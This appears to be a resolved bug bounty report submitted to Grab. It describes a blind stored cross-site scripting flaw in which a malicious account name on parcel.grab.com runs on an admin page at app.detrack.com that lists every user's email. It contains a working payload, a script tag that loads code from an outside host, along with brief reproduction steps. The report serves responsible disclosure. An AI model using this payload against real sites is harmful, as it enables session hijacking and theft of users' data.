Loading HuntDB...

Blind stored xss [parcel.grab.com] > name parameter

Critical
G
Grab
Submitted None
Reported by paresh_parmar

Vulnerability Details

Technical details and impact analysis

Cross-site Scripting (XSS) - Stored
Hi, ___my previously reported blind xss is fixed but i found same type of xss in diffrent area with more impact.___ # Steps to repro: 1. create new account with name `"><script src=https://x.com></script>` here https://parcel.grab.com/ 2. afftected page is https://app.detrack.com/a/ where admin can see all the user's of application and this is one more impact full because it contains all the user's email address. attacker can hijack all the information from there using xss affeffcted page poc: {F204498██████████ 3. go here https://app.detrack.com/a/ and find ████████ , that is my account with xss payload. thanks

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Bounty

$750.00

Submitted

Weakness

Cross-site Scripting (XSS) - Stored